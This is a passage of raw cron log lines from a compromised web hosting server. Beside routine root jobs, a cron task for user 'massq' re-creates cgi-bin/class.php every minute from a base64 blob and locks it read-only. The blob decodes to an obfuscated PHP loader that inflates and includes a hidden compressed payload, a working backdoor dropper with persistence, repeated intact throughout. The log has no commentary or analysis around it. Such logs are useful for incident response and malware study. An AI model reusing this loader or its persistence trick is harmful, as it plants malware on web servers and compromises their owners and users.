"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:10:01 server CROND[16446]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 20:10:01 server CROND[16447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:10:01 server CROND[16448]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:10:01 server CROND[16449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:11:01 server CROND[16569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:12:01 server CROND[16617]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 20:12:01 server CROND[16618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:13:01 server CROND[16814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:14:01 server CROND[16872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:15:01 server CROND[16923]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:15:01 server CROND[16924]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 20:15:01 server CROND[16925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:15:01 server CROND[16926]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:16:01 server CROND[17028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:17:01 server CROND[17076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:18:01 server CROND[17115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:19:02 server CROND[17270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:20:01 server CROND[17339]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 20:20:01 server CROND[17340]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 20:20:01 server CROND[17342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:20:01 server CROND[17341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:20:01 server CROND[17344]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:21:01 server CROND[17450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:22:01 server CROND[17494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSp